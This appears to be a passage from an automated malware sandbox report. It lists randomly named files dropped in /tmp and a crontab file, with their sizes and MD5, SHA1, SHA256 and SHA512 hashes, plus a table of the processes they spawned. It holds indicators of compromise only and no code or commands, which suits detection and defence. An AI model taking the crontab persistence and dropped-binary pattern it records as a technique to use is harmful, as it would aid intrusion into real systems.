ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.WWfHma

Filesize
210B

MD5
aac2560d08f6248a668065bf7a26938f

SHA1
ae24c7e01508519988b59e6db2d11c4c446938b0

SHA256
ccd9797f53b4caed1f61ea4ff944861d18c1c8777286a538c105e2c890980aaf

SHA512
158991b7e646f9509ffe51cbd2f8a0c24d6f5867532d7a15d9feae69672ffa016f4555e962653c059cf84956c282f0f0a8af017cd1cdb71ce7da362706817555

Download Submit

ioc	pid	Process
/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	739	WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
/tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK	746	4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
/tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1	767	WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
/tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk	801	KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
/tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m	815	7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
/tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT	828	U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
/tmp/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK	857	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
/tmp/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL	873	m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
/tmp/4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF	880	4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
/tmp/NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ	887	NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ
/tmp/fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG	894	fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG
/tmp/29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P	901	29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P
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